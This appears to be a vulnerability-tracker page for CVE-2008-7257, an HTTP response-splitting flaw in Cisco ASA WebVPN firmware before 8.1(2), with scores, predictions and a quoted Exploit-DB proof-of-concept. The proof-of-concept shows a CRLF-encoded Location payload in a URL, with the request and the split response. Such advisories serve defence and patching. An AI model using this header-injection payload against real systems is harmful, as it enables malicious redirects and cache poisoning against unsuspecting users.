CVE-2008-7257

medium

Published 2010-06-29 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

5.3

Description

CRLF injection vulnerability in +webvpn+/index.html in WebVPN on Cisco Adaptive Security Appliances (ASA) 5580 series devices with software before 8.1(2) allows remote attackers to inject arbitrary HTTP headers as demonstrated by a redirect attack involving a %0d%0aLocation%3a sequence in a URI, or conduct HTTP response splitting attacks via unspecified vectors, aka Bug ID CSCsr09163.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-34200 remote hardware verified text · 1 KB

Daniel King · 2010-06-25

Cisco Adaptive Security Response - HTTP Response Splitting

text exploit Source: Exploit-DB

source: https://www.securityfocus.com/bid/41159/info

Cisco Adaptive Security Response (ASA) is prone to an HTTP response-splitting vulnerability.

Attackers can leverage this issue to influence or misrepresent how web content is served, cached, or interpreted. This could aid in various attacks that try to entice client users into having a false sense of trust.

Firmware versions prior to Cisco ASA 8.1(2) are vulnerable.

This issue is being tracked by Cisco Bugid CSCsr09163.

URL: http://www.example.com/%0d%0aLocation%3a%20http%3a%2f%2fwww%2egoogle%2ecom Request: GET http://www.example.com/%0d%0aLocation%3a%20http%3a%2f%2fwww%2egoogle%2ecom HTTP/1.0 Host: /www.example.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Response: HTTP/1.0 301 Moved Permanently Server: Web Server Location: https:///www.example2.com/ Location: http:///www.example3.com Content-Type: text/html Content-Length: 125

References

CWEs

CWE-20

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.